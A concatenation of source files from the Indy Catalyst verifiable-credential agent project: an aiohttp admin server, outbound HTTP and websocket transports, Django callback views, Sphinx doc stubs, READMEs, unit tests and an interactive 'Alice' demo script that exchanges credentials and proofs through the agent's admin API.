web.get("/status", self.status_handler),
web.post("/status/reset", self.status_reset_handler),
web.get("/ws", self.websocket_handler),
]
)
await register_module_routes(self.app)
cors = aiohttp_cors.setup(
self.app,
defaults={
"*": aiohttp_cors.ResourceOptions(
allow_credentials=True,
expose_headers="*",
allow_headers="*",
allow_methods="*",
)
},
)
for route in self.app.router.routes():
cors.add(route)
setup_aiohttp_apispec(
app=self.app,
title="Indy Catalyst Agent",
version="v1",
swagger_path="/api/doc",
)
self.app.on_startup.append(self.on_startup)
runner = web.AppRunner(self.app)
await runner.setup()
self.site = web.TCPSite(runner, host=self.host, port=self.port)
try:
await self.site.start()
except OSError:
raise AdminSetupError(
"Unable to start webserver with host "
+ f"'{self.host}' and port '{self.port}'\n"
)
async def stop(self) -> None:
"""Stop the webserver."""
await self.site.stop()
async def on_startup(self, app: web.Application):
"""Perform webserver startup actions."""
@docs(tags=["server"], summary="Fetch the list of loaded modules")
@response_schema(AdminModulesSchema(), 200)
async def modules_handler(self, request: web.BaseRequest):
"""
Request handler for the loaded modules list.
Args:
request: aiohttp request object
Returns:
The module list response
"""
return web.json_response({"result": self.loaded_modules})
@docs(tags=["server"], summary="Fetch the server status")
@response_schema(AdminStatusSchema(), 200)
async def status_handler(self, request: web.BaseRequest):
"""
Request handler for the server status information.
Args:
request: aiohttp request object
Returns:
The web response
"""
status = {}
collector: Collector = await self.context.inject(Collector, required=False)
if collector:
status["timing"] = collector.results
return web.json_response(status)
@docs(tags=["server"], summary="Reset statistics")
@response_schema(AdminStatusSchema(), 200)
async def status_reset_handler(self, request: web.BaseRequest):
"""
Request handler for resetting the timing statistics.
Args:
request: aiohttp request object
Returns:
The web response
"""
collector: Collector = await self.context.inject(Collector, required=False)
if collector:
collector.reset()
return web.HTTPOk()
async def redirect_handler(self, request: web.BaseRequest):
"""Perform redirect to documentation."""
return web.HTTPFound("/api/doc")
async def websocket_handler(self, request):
"""Send notifications to admin client over websocket."""
ws = web.WebSocketResponse()
await ws.prepare(request)
socket_id = str(uuid.uuid4())
queue = asyncio.Queue()
self.notify_queues[socket_id] = queue
await queue.put(
{
"type": "settings",
"context": {
"label": self.context.settings.get("default_label"),
"endpoint": self.context.settings.get("default_endpoint"),
"no_receive_invites": self.context.settings.get(
"admin.no_receive_invites", False
),
"help_link": self.context.settings.get("admin.help_link"),
},
}
)
closed = False
while not closed:
try:
msg = await asyncio.wait_for(queue.get(), 5.0)
except asyncio.TimeoutError:
# we send fake pings because the JS client
# can't detect real ones
msg = {"type": "ping"}
except CancelledError:
closed = True
if ws.closed:
closed = True
if msg and not closed:
await ws.send_json(msg)
del self.notify_queues[socket_id]
return ws
async def add_event(self, message: dict):
"""Add an event to existing queues."""
for queue in self.notify_queues.values():
await queue.put(message)
<file_sep>/docs/README.md
# Hyperledger Indy Catalyst <!-- omit in toc -->

# Table of Contents <!-- omit in toc -->
- [Introduction](#introduction)
# Introduction
Placeholder README for forthcoming Indy Catalyst Docs.
<file_sep>/agent/docs/indy_catalyst_agent.messaging.rst
indy\_catalyst\_agent.messaging package
=======================================
Subpackages
-----------
.. toctree::
indy_catalyst_agent.messaging.basicmessage
indy_catalyst_agent.messaging.connections
indy_catalyst_agent.messaging.credentials
indy_catalyst_agent.messaging.proofs
indy_catalyst_agent.messaging.routing
indy_catalyst_agent.messaging.tests
indy_catalyst_agent.messaging.trustping
Submodules
----------
indy\_catalyst\_agent.messaging.agent\_message module
-----------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.agent_message
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.messaging.base\_handler module
----------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.base_handler
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.messaging.message\_factory module
-------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.message_factory
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.messaging.message\_types module
-----------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.message_types
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.messaging.request\_context module
-------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.request_context
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.messaging.responder module
------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.responder
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.messaging
:members:
:undoc-members:
:show-inheritance:
<file_sep>/starter-kits/credential-registry/server/tob-api/icat_cbs/views.py
from rest_framework import status
from rest_framework.decorators import api_view, permission_classes
from rest_framework.response import Response
from rest_framework.views import APIView
from rest_framework import permissions
from icat_cbs.serializers.indy import IndyAgentCallbackSerializer
from api_indy.views.indy import store_credential_int
import json
TOPIC_CONNECTIONS = "connections"
TOPIC_CREDENTIALS = "credentials"
TOPIC_PRESENTATIONS = "presentations"
TOPIC_GET_ACTIVE_MENU = "get-active-menu"
TOPIC_PERFORM_MENU_ACTION = "perform-menu-action"
@api_view(['POST',])
@permission_classes((permissions.AllowAny, ))
def agent_callback(request, topic):
message = request.data
serializer_class = IndyAgentCallbackSerializer
# dispatch based on the topic type
if topic == TOPIC_CONNECTIONS:
return handle_connections(message['state'], message)
elif topic == TOPIC_CREDENTIALS:
return handle_credentials(message['state'], message)
elif topic == TOPIC_PRESENTATIONS:
return handle_presentations(message['state'], message)
elif topic == TOPIC_GET_ACTIVE_MENU:
return handle_get_active_menu(message)
elif topic == TOPIC_PERFORM_MENU_ACTION:
return handle_perform_menu_action(message)
else:
print("Callback: topic=", topic, ", message=", message)
return Response("Invalid topic: "+topic, status=status.HTTP_400_BAD_REQUEST)
def handle_connections(state, message):
# TODO auto-accept?
print("handle_connections()", state)
return Response(some_data)
def handle_credentials(state, message):
"""
Receives notification of a credential processing event.
For example, for a greenlight registration credential:
message = {
"connection_id": "12345",
"credential_definition_id": "6qnvgJtqwK44D8LFYnV5Yf:3:CL:25:tag",
"credential_exchange_id": "666",
"credential_id": "67890",
"credential_offer": {},
"credential_request": {},
"credential_request_metadata": {},
"credential": {
"referent": "67892",
"values":
{
"address_line_1": "2230 Holdom Avenue",
"address_line_2": "",
"addressee": "Ms. <NAME>",
"city": "Surrey",
"corp_num": "FM0243624",
"country": "CA",
"entity_name_effective": "2007-08-30",
"entity_status": "Active",
"entity_status_effective": "2007-08-30",
"entity_type": "BC Company",
"legal_name": "LOEFFLER PIZZA PLACE LIMITED",
"postal_code": "V3T 4Y5",
"province": "BC",
"reason_description": "Filing:REGST",
"registration_date": "2007-08-30"
},
"schema_id": "6qnvgJtqwK44D8LFYnV5Yf:2:Registered Corporation:1.0.3",
"cred_def_id": "6qnvgJtqwK44D8LFYnV5Yf:3:CL:25:tag",
"rev_reg_id": null,
"rev_reg": null,
"witness": "Ian",
"cred_rev_id": null,
"signature": "ian costanzo, honest",
"signature_correctness_proof": "honest"
},
"initiator": "...",
"schema_id": "...",
"state": "stored",
"thread_id": "..."
}
"""
#global admin_url
credential_exchange_id = message['credential_exchange_id']
print("Credential: state=", state, ", credential_exchange_id=", credential_exchange_id)
if state == 'offer_received':
print("After receiving credential offer, send credential request")
#resp = requests.post(admin_url + '/credential_exchange/' + credential_exchange_id + '/send-request')
#assert resp.status_code == 200
return Response("")
elif state == 'stored':
print("After stored credential in wallet")
# TBD credential info should come with the message
#resp = requests.get(admin_url + '/credential/' + message['credential_id'])
#assert resp.status_code == 200
print("Stored credential:")
print(message['credential'])
print("credential_id", message['credential_id'])
print("credential_definition_id", message['credential_definition_id'])
print("schema_id", message['schema_id'])
print("credential_request_metadata", message['credential_request_metadata'])
return store_credential_int({"credential_data": message['credential'],
"credential_request_metadata": message['credential_request_metadata']})
# TODO other scenarios
return Response("")
def handle_presentations(state, message):
# TODO auto-respond to proof requests
print("handle_presentations()", state)
return Response(some_data)
def handle_get_active_menu(message):
# TODO add/update issuer info?
print("handle_get_active_menu()", message)
return Response("")
def handle_perform_menu_action(message):
# TODO add/update issuer info?
print("handle_perform_menu_action()", message)
return Response("")
<file_sep>/agent/docs/indy_catalyst_agent.storage.tests.rst
indy\_catalyst\_agent.storage.tests package
===========================================
Submodules
----------
indy\_catalyst\_agent.storage.tests.test\_basic\_storage module
---------------------------------------------------------------
.. automodule:: indy_catalyst_agent.storage.tests.test_basic_storage
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.storage.tests.test\_indy\_storage module
--------------------------------------------------------------
.. automodule:: indy_catalyst_agent.storage.tests.test_indy_storage
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.storage.tests.test\_storage\_record module
----------------------------------------------------------------
.. automodule:: indy_catalyst_agent.storage.tests.test_storage_record
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.storage.tests
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/README.md
# Hyperledger Indy Catalyst Agent <!-- omit in toc -->
[](https://circleci.com/gh/bcgov/indy-catalyst)
[](https://codecov.io/gh/bcgov/indy-catalyst)
[](https://snyk.io/test/github/bcgov/indy-catalyst?targetFile=agent%2Frequirements.txt)

# Table of Contents <!-- omit in toc -->
- [Introduction](#Introduction)
- [Installing](#Installing)
- [Running](#Running)
- [Developing](#Developing)
- [Prerequisites](#Prerequisites)
- [Running Locally](#Running_Locally)
- [Caveats](#Caveats)
- [Running Tests](#Running_Tests)
- [Development Workflow](#Development_Workflow)
# Introduction
Indy Catalyst Agent is a configurable instance of a "Cloud Agent".
# Installing
Instructions forthcoming. `indy_catalyst_agent` will be made available in the future as a python package at [pypi.org](https://pypi.org).
# Running
After installing the package, `icatagent` should be available in your PATH.
Find out more about the available command line parameters by running:
```bash
icatagent --help
```
Currently you must specify at least one _inbound_ and one _outbound_ transport.
For example:
```bash
icatagent --inbound-transport http 0.0.0.0 8000 \
--inbound-transport http 0.0.0.0 8001 \
--inbound-transport ws 0.0.0.0 8002 \
--outbound-transport ws \
--outbound-transport http
```
Currently, Indy Catalyst Agent ships with both inbound and outbound transport drivers for `http` and `websockets`. More information on how to develop your own drivers will be coming soon.
# Developing
## Prerequisites
[Docker](https://www.docker.com) must be installed to run software locally and to run the test suite.
## Running Locally
To run the locally, we recommend using the provided Docker images to run the software.
```
./scripts/run_docker <args>
```
```
./scripts/run_docker --inbound-transport http 0.0.0.0 10000 --outbound-transport http --debug --log-level DEBUG
```
To enable the [ptvsd](https://github.com/Microsoft/ptvsd) Python debugger for Visual Studio/VSCode use the `debug` flag
For any ports you will be using, you can publish these ports from the docker container using the PORTS environment variable. For example:
```
PORTS="5000:5000 8000:8000 1000:1000" ./scripts/run_docker --inbound-transport http 0.0.0.0 10000 --outbound-transport http --debug --log-level DEBUG
```
Refer to [the previous section](#Running) for instructions on how to run the software.
## Running Tests
To run the test suite, use the following script:
```sh
./scripts/run_tests
```
To run the test including [Indy SDK](https://github.com/hyperledger/indy-sdk) and related dependencies, run the script:
```sh
./scripts/run_tests_indy
```
## Development Workflow
We use [Flake8](http://flake8.pycqa.org/en/latest/) to enforce a coding style guide.
We use [Black](https://black.readthedocs.io/en/stable/) to automatically format code.
Please write tests for the work that you submit.
Tests should reside in a directory named `tests` alongside the code under test. Generally, there is one test file for each file module under test. Test files _must_ have a name starting with `test_` to be automatically picked up the test runner.
There are some good examples of various test scenarios for you to work from including mocking external imports and working with async code so take a look around!
The test suite also displays the current code coverage after each run so you can see how much of your work is covered by tests. Use your best judgement for how much coverage is sufficient.
Please also refer to the [contributing guidelines](/CONTRIBUTING.md) and [code of conduct](/CODE_OF_CONDUCT.md).
## Dynamic Injection of Services
The Agent employs a dynamic injection system whereby providers of base classes are registered with the `RequestContext` instance, currently within `conductor.py`. Message handlers and services request an instance of the selected implementation using `await context.inject(BaseClass)`; for instance the wallet instance may be injected using `wallet = await context.inject(BaseWallet)`. The `inject` method normally throws an exception if no implementation of the base class is provided, but can be called with `required=False` for optional dependencies (in which case a value of `None` may be returned).
Providers are registered with either `context.injector.bind_instance(BaseClass, instance)` for previously-constructed (singleton) object instances, or `context.injector.bind_provider(BaseClass, provider)` for dynamic providers. In some cases it may be desirable to write a custom provider which switches implementations based on configuration settings, such as the wallet provider.
The `BaseProvider` classes in the `config.provider` module include `ClassProvider`, which can perform dynamic module inclusion when given the combined module and class name as a string (for instance `indy_catalyst_agent.wallet.indy.IndyWallet`). `ClassProvider` accepts additional positional and keyword arguments to be passed into the class constructor. Any of these arguments may be an instance of `ClassProvider.Inject(BaseClass)`, allowing dynamic injection of dependencies when the class instance is instantiated.
<file_sep>/starter-kits/credential-registry/server/tob-api/start-celery-worker.sh
#!/bin/bash
# Start the tob-api as a Celery worker node.
echo "Starting an instance of the tob-api as a Celery worker node ..."
celery -A icat_hooks worker -E -l INFO
<file_sep>/starter-kits/credential-registry/server/tob-api/icat_cbs/urls.py
from django.urls import path
from icat_cbs import views
urlpatterns = [
path('<topic>', views.agent_callback),
]
<file_sep>/agent/docs/indy_catalyst_agent.transport.outbound.rst
indy\_catalyst\_agent.transport.outbound package
================================================
Subpackages
-----------
.. toctree::
indy_catalyst_agent.transport.outbound.queue
Submodules
----------
indy\_catalyst\_agent.transport.outbound.base module
----------------------------------------------------
.. automodule:: indy_catalyst_agent.transport.outbound.base
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.transport.outbound.http module
----------------------------------------------------
.. automodule:: indy_catalyst_agent.transport.outbound.http
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.transport.outbound.manager module
-------------------------------------------------------
.. automodule:: indy_catalyst_agent.transport.outbound.manager
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.transport.outbound.message module
-------------------------------------------------------
.. automodule:: indy_catalyst_agent.transport.outbound.message
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.transport.outbound.ws module
--------------------------------------------------
.. automodule:: indy_catalyst_agent.transport.outbound.ws
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.transport.outbound
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/docs/indy_catalyst_agent.messaging.tests.rst
indy\_catalyst\_agent.messaging.tests package
=============================================
Submodules
----------
indy\_catalyst\_agent.messaging.tests.test\_agent\_message module
-----------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.tests.test_agent_message
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.messaging.tests.test\_message\_factory module
-------------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.tests.test_message_factory
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.messaging.tests
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/indy_catalyst_agent/messaging/connections/handlers/connection_invitation_handler.py
"""Connect invitation handler."""
from ...base_handler import BaseHandler, BaseResponder, RequestContext
from ..messages.connection_invitation import ConnectionInvitation
from ..manager import ConnectionManager, ConnectionRecord
class ConnectionInvitationHandler(BaseHandler):
"""Handler class for connection invitations."""
async def handle(self, context: RequestContext, responder: BaseResponder):
"""
Handle connection invitation.
Args:
context: Request context
responder: Responder callback
"""
self._logger.debug(f"ConnectionInvitationHandler called with context {context}")
assert isinstance(context.message, ConnectionInvitation)
# Prevent invitation from being submitted by normal means (POST/websocket)
# if context.message_delivery.transport_type != "invitation":
# raise ConnectionError(
# "Invitation must be submitted as part of a GET request"
# )
role = None
if context.message_delivery.transport_type == "router_invitation":
role = ConnectionRecord.ROLE_ROUTER
mgr = ConnectionManager(context)
conn = await mgr.receive_invitation(context.message, their_role=role)
if conn.requires_routing:
await mgr.update_routing(conn)
else:
request = await mgr.create_request(conn)
target = await mgr.get_connection_target(conn)
await responder.send(request, target=target)
<file_sep>/agent/indy_catalyst_agent/transport/outbound/http.py
"""Http outbound transport."""
import logging
from aiohttp import ClientSession
from ...messaging.outbound_message import OutboundMessage
from .base import BaseOutboundTransport
from .queue.base import BaseOutboundMessageQueue
class HttpTransport(BaseOutboundTransport):
"""Http outbound transport class."""
schemes = ("http", "https")
def __init__(self, queue: BaseOutboundMessageQueue) -> None:
"""Initialize an `HttpTransport` instance."""
self.logger = logging.getLogger(__name__)
self._queue = queue
async def __aenter__(self):
"""Async context manager enter."""
self.client_session = ClientSession()
return self
async def __aexit__(self, *err):
"""Async context manager exit."""
await self.client_session.close()
self.client_session = None
self.logger.error(err)
@property
def queue(self):
"""Accessor for queue."""
return self._queue
async def handle_message(self, message: OutboundMessage):
"""
Handle message from queue.
Args:
message: `OutboundMessage` to send over transport implementation
"""
try:
headers = {}
if isinstance(message.payload, bytes):
headers["Content-Type"] = "application/ssi-agent-wire"
else:
headers["Content-Type"] = "application/json"
async with self.client_session.post(
message.endpoint, data=message.payload, headers=headers
) as response:
self.logger.info(response.status)
except Exception:
# TODO: add retry logic
self.logger.exception("Error handling outbound message")
<file_sep>/agent/indy_catalyst_agent/transport/outbound/base.py
"""Base outbound transport."""
from abc import ABC, abstractmethod, abstractproperty
from ...error import BaseError
from ...messaging.outbound_message import OutboundMessage
from .queue.base import BaseOutboundMessageQueue
class BaseOutboundTransport(ABC):
"""Base outbound transport class."""
@abstractmethod
def __init__(self, queue: BaseOutboundMessageQueue) -> None:
"""
Initialize a `BaseOutboundTransport` instance.
Args:
queue: `BaseOutboundMessageQueue` to use
"""
pass
@abstractmethod
async def __aenter__(self):
"""Async context manager enter."""
pass
@abstractmethod
async def __aexit__(self, *err):
"""Async context manager exit."""
pass
@abstractproperty
def queue(self):
"""Accessor for queue."""
pass
@abstractmethod
async def handle_message(self, message: OutboundMessage):
"""
Handle message from queue.
Args:
message: `OutboundMessage` to send over transport implementation
"""
pass
async def start(self) -> None:
"""Start this transport."""
async for message in self.queue:
await self.handle_message(message)
class OutboundTransportRegistrationError(BaseError):
"""Outbound transport registration error."""
<file_sep>/agent/docs/indy_catalyst_agent.messaging.trustping.messages.rst
indy\_catalyst\_agent.messaging.trustping.messages package
==========================================================
Submodules
----------
indy\_catalyst\_agent.messaging.trustping.messages.ping module
--------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.trustping.messages.ping
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.messaging.trustping.messages.ping\_response module
------------------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.trustping.messages.ping_response
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.messaging.trustping.messages
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/indy_catalyst_agent/tests/test_conductor.py
from unittest import mock, TestCase
from asynctest import TestCase as AsyncTestCase
from asynctest import mock as async_mock
from ..conductor import Conductor
from ..messaging.connections.models.connection_target import ConnectionTarget
from ..messaging.message_delivery import MessageDelivery
from ..messaging.outbound_message import OutboundMessage
from ..messaging.protocol_registry import ProtocolRegistry
from ..transport.inbound.base import InboundTransportConfiguration
class TestConfig:
good_inbound_transports = [
InboundTransportConfiguration(module="http", host="host", port=80)
]
good_outbound_transports = ["http"]
bad_inbound_transports = [
InboundTransportConfiguration(module="bad", host="host", port=80)
]
bad_outbound_transports = ["bad"]
test_settings = {}
class TestConductor(AsyncTestCase, TestConfig):
async def test_startup(self):
conductor = Conductor(
self.good_inbound_transports,
self.good_outbound_transports,
ProtocolRegistry(),
self.test_settings,
)
mock_inbound_mgr = async_mock.create_autospec(
conductor.inbound_transport_manager
)
conductor.inbound_transport_manager = mock_inbound_mgr
mock_outbound_mgr = async_mock.create_autospec(
conductor.outbound_transport_manager
)
conductor.outbound_transport_manager = mock_outbound_mgr
await conductor.start()
mock_inbound_mgr.register.assert_called_once_with(
self.good_inbound_transports[0].module,
self.good_inbound_transports[0].host,
self.good_inbound_transports[0].port,
conductor.inbound_message_router,
conductor.register_socket,
)
mock_inbound_mgr.start_all.assert_called_once_with()
mock_outbound_mgr.register.assert_called_once_with(
self.good_outbound_transports[0]
)
mock_outbound_mgr.start_all.assert_called_once_with()
async def test_inbound_message_handler(self):
conductor = Conductor(
self.good_inbound_transports,
self.good_outbound_transports,
ProtocolRegistry(),
self.test_settings,
)
mock_dispatcher = async_mock.create_autospec(conductor.dispatcher)
conductor.dispatcher = mock_dispatcher
mock_serializer = async_mock.create_autospec(conductor.message_serializer)
conductor.message_serializer = mock_serializer
delivery = MessageDelivery()
parsed_msg = {}
mock_serializer.parse_message.return_value = (parsed_msg, delivery)
message_body = "{}"
transport = "http"
await conductor.inbound_message_router(message_body, transport)
mock_serializer.parse_message.assert_called_once_with(
conductor.context, message_body, transport
)
mock_dispatcher.dispatch.assert_called_once_with(
parsed_msg, delivery, None, conductor.outbound_message_router
)
async def test_outbound_message_handler(self):
conductor = Conductor(
self.good_inbound_transports,
self.good_outbound_transports,
ProtocolRegistry(),
self.test_settings,
)
mock_serializer = async_mock.create_autospec(conductor.message_serializer)
conductor.message_serializer = mock_serializer
mock_outbound_mgr = async_mock.create_autospec(
conductor.outbound_transport_manager
)
conductor.outbound_transport_manager = mock_outbound_mgr
payload = "{}"
target = ConnectionTarget(
endpoint="endpoint", recipient_keys=(), routing_keys=(), sender_key=""
)
message = OutboundMessage(payload=payload, target=target)
await conductor.outbound_message_router(message)
mock_serializer.encode_message.assert_called_once_with(
conductor.context,
payload,
target.recipient_keys,
target.routing_keys,
target.sender_key,
)
mock_outbound_mgr.send_message.assert_called_once_with(message)
<file_sep>/starter-kits/credential-registry/server/tob-api/icat_hooks/urls.py
from django.conf import settings
from django.urls import path
from drf_yasg import openapi
from drf_yasg.views import get_schema_view
from rest_framework.permissions import AllowAny
from rest_framework.routers import SimpleRouter
from rest_framework.urlpatterns import format_suffix_patterns
# see https://github.com/alanjds/drf-nested-routers
from rest_framework_nested import routers
from icat_hooks.views import RegistrationCreateViewSet, RegistrationViewSet, SubscriptionViewSet
router = SimpleRouter(trailing_slash=False)
# hook management (registration, add/update/delete hooks)
router.register(r"register", RegistrationCreateViewSet, "Web Hook Registration")
router.register(r"registration", RegistrationViewSet, "Web Hook Registration")
registrations_router = routers.NestedSimpleRouter(
router, r"registration", lookup="registration"
)
registrations_router.register(
r"subscriptions", SubscriptionViewSet, basename="subscriptions"
)
urlpatterns = format_suffix_patterns(router.urls + registrations_router.urls)
<file_sep>/agent/indy_catalyst_agent/transport/outbound/ws.py
"""Websockets outbound transport."""
import logging
from aiohttp import ClientSession
from ...messaging.outbound_message import OutboundMessage
from .base import BaseOutboundTransport
from .queue.base import BaseOutboundMessageQueue
class WsTransport(BaseOutboundTransport):
"""Websockets outbound transport class."""
schemes = ("ws", "wss")
def __init__(self, queue: BaseOutboundMessageQueue) -> None:
"""Initialize an `HttpTransport` instance."""
self.logger = logging.getLogger(__name__)
self._queue = queue
async def __aenter__(self):
"""Async context manager enter."""
self.client_session = ClientSession()
return self
async def __aexit__(self, *err):
"""Async context manager exit."""
await self.client_session.close()
self.client_session = None
self.logger.error(err)
@property
def queue(self):
"""Accessor for queue."""
return self._queue
async def handle_message(self, message: OutboundMessage):
"""
Handle message from queue.
Args:
message: `OutboundMessage` to send over transport implementation
"""
try:
# As an example, we can open a websocket channel, send a message, then
# close the channel immediately. This is not optimal but it works.
async with self.client_session.ws_connect(message.endpoint) as ws:
if isinstance(message.payload, bytes):
await ws.send_bytes(message.payload)
else:
await ws.send_str(message.payload)
except Exception:
# TODO: add retry logic
self.logger.exception("Error handling outbound message")
<file_sep>/starter-kits/credential-registry/server/tob-api/icat_cbs/serializers/indy.py
import logging
from datetime import datetime, timedelta
import requests
from django.conf import settings
from django.contrib.auth import get_user_model
from django.contrib.auth.models import Group
from django.core import exceptions
from rest_framework import serializers
from api_v2.auth import generate_random_username
from api_v2.models.Credential import Credential
from api_v2.models.CredentialType import CredentialType
from api_v2.models.User import User
logger = logging.getLogger(__name__)
# generic message from indy agent callback
class IndyAgentCallbackSerializer(serializers.Serializer):
reg_id = serializers.ReadOnlyField(source="id")
email = serializers.CharField(required=True, max_length=128)
org_name = serializers.CharField(required=True, max_length=240)
target_url = serializers.CharField(required=False, max_length=240)
hook_token = serializers.CharField(required=False, max_length=240)
registration_expiry = serializers.DateField(required=False, read_only=True)
<file_sep>/agent/demo/alice-pg.py
import os
import subprocess
import time
import requests
import random
import sys
import json
from traceback import print_exc
from demo_utils import background_hook_thread, s_print, start_agent_subprocess, webhooks
"""
Docker version:
PORTS="5000:5000 10000:10000" ../scripts/run_docker -it http 0.0.0.0 10000 -ot http --admin 0.0.0.0 5000 -e "http://host.docker.internal:10000" --accept-requests --accept-invites
"""
# detect runmode and set hostnames accordingly
run_mode = os.getenv("RUNMODE")
internal_host = "127.0.0.1"
external_host = "localhost"
scripts_dir = "../scripts/"
if run_mode == "docker":
internal_host = "host.docker.internal"
external_host = "host.docker.internal"
scripts_dir = "scripts/"
# some globals that are required by the hook code
webhook_port = int(sys.argv[1])
in_port_1 = webhook_port + 1
in_port_2 = webhook_port + 2
in_port_3 = webhook_port + 3
admin_port = webhook_port + 4
admin_url = "http://" + internal_host + ":" + str(admin_port)
# url mapping for rest hook callbacks
urls = ("/webhooks/topic/(.*)/", "alice_webhooks")
# agent webhook callbacks
class alice_webhooks(webhooks):
def handle_credentials(self, state, message):
global admin_url
credential_exchange_id = message["credential_exchange_id"]
s_print(
"Credential: state=",
state,
", credential_exchange_id=",
credential_exchange_id,
)
if state == "offer_received":
print("#15 After receiving credential offer, send credential request")
resp = requests.post(
admin_url
+ "/credential_exchange/"
+ credential_exchange_id
+ "/send-request"
)
assert resp.status_code == 200
return ""
elif state == "stored":
print("Stored credential in wallet")
resp = requests.get(admin_url + "/credential/" + message["credential_id"])
assert resp.status_code == 200
print("Stored credential:")
print(resp.text)
print("credential_id", message["credential_id"])
print("credential_definition_id", message["credential_definition_id"])
print("schema_id", message["schema_id"])
print("credential_request_metadata", message["credential_request_metadata"])
return ""
return ""
def handle_presentations(self, state, message):
global admin_url
presentation_exchange_id = message["presentation_exchange_id"]
presentation_request = message["presentation_request"]
s_print(
"Presentation: state=",
state,
", presentation_exchange_id=",
presentation_exchange_id,
)
if state == "request_received":
print(
"#24 Query for credentials in the wallet that satisfy the proof request"
)
# include self-attested attributes (not included in credentials)
revealed = {}
self_attested = {}
predicates = {}
for referent in presentation_request["requested_attributes"]:
# select credentials to provide for the proof
creds = requests.get(
admin_url
+ "/presentation_exchange/"
+ presentation_exchange_id
+ "/credentials/"
+ referent
)
assert creds.status_code == 200
credentials = json.loads(creds.text)
if credentials:
revealed[referent] = {
"cred_id": credentials[0]["cred_info"]["referent"],
"revealed": True,
}
else:
self_attested[referent] = "my self-attested value"
for referent in presentation_request["requested_predicates"]:
# select credentials to provide for the proof
creds = requests.get(
admin_url
+ "/presentation_exchange/"
+ presentation_exchange_id
+ "/credentials/"
+ referent
)
assert creds.status_code == 200
credentials = json.loads(creds.text)
if credentials:
predicates[referent] = {
"cred_id": credentials[0]["cred_info"]["referent"],
"revealed": True,
}
print("#25 Generate the proof")
proof = {
"name": presentation_request["name"],
"version": presentation_request["version"],
"requested_predicates": predicates,
"requested_attributes": revealed,
"self_attested_attributes": self_attested,
}
print("#26 Send the proof to X")
resp = requests.post(
admin_url
+ "/presentation_exchange/"
+ presentation_exchange_id
+ "/send_presentation",
json=proof,
)
assert resp.status_code == 200
return ""
return ""
def main():
if run_mode == "docker":
genesis = requests.get("http://host.docker.internal:9000/genesis").text
else:
with open("local-genesis.txt", "r") as genesis_file:
genesis = genesis_file.read()
# TODO seed from input parameter; optionally register the DID
rand_name = str(random.randint(100000, 999999))
seed = ("my_seed_000000000000000000000000" + rand_name)[-32:]
alias = "<NAME>"
register_did = False # Alice doesn't need to register her did
if register_did:
print("Registering", alias, "with seed", seed)
ledger_url = "http://" + external_host + ":9000"
headers = {"accept": "application/json"}
data = {"alias": alias, "seed": seed, "role": "TRUST_ANCHOR"}
resp = requests.post(ledger_url + "/register", json=data)
assert resp.status_code == 200
nym_info = resp.text
print(nym_info)
# run app and respond to agent webhook callbacks (run in background)
g_vars = globals()
webhook_thread = background_hook_thread(urls, g_vars)
time.sleep(3.0)
print("Web hooks is running!")
print("#7 Provision an agent and wallet, get back configuration details")
# start agent sub-process
endpoint_url = "http://" + internal_host + ":" + str(in_port_1)
wallet_name = "alice" + rand_name
wallet_key = "alice" + rand_name
python_path = ".."
webhook_url = "http://" + external_host + ":" + str(webhook_port) + "/webhooks"
(agent_proc, t1, t2) = start_agent_subprocess(
"alice",
genesis,
seed,
endpoint_url,
in_port_1,
in_port_2,
in_port_3,
admin_port,
"indy",
wallet_name,
wallet_key,
python_path,
webhook_url,
scripts_dir,
run_subprocess=True,
)
time.sleep(5.0)
print("Admin url is at:", admin_url)
print("Endpoint url is at:", endpoint_url)
try:
# check swagger content
resp = requests.get(admin_url + "/api/docs/swagger.json")
assert resp.status_code == 200
p = resp.text
assert "Indy Catalyst Agent" in p
# respond to an invitation
print("#9 Input faber.py invitation details")
details = input("invite details: ")
resp = requests.post(
admin_url + "/connections/receive-invitation", json=details
)
assert resp.status_code == 200
connection = json.loads(resp.text)
print("invitation response:", connection)
conn_id = connection["connection_id"]
time.sleep(3.0)
option = input("(3) Send Message (X) Exit? [3/X]")
while option != "X" and option != "x":
if option == "3":
msg = input("Enter message:")
resp = requests.post(
admin_url + "/connections/" + conn_id + "/send-message",
json={"content": msg},
)
assert resp.status_code == 200
option = input("(3) Send Message (X) Exit? [3/X]")
except Exception:
print_exc()
finally:
if agent_proc:
time.sleep(2.0)
agent_proc.terminate()
try:
agent_proc.wait(timeout=0.5)
print("== subprocess exited with rc =", agent_proc.returncode)
except subprocess.TimeoutExpired:
print("subprocess did not terminate in time")
sys.exit()
if __name__ == "__main__":
main()
<file_sep>/agent/docs/indy_catalyst_agent.wallet.tests.rst
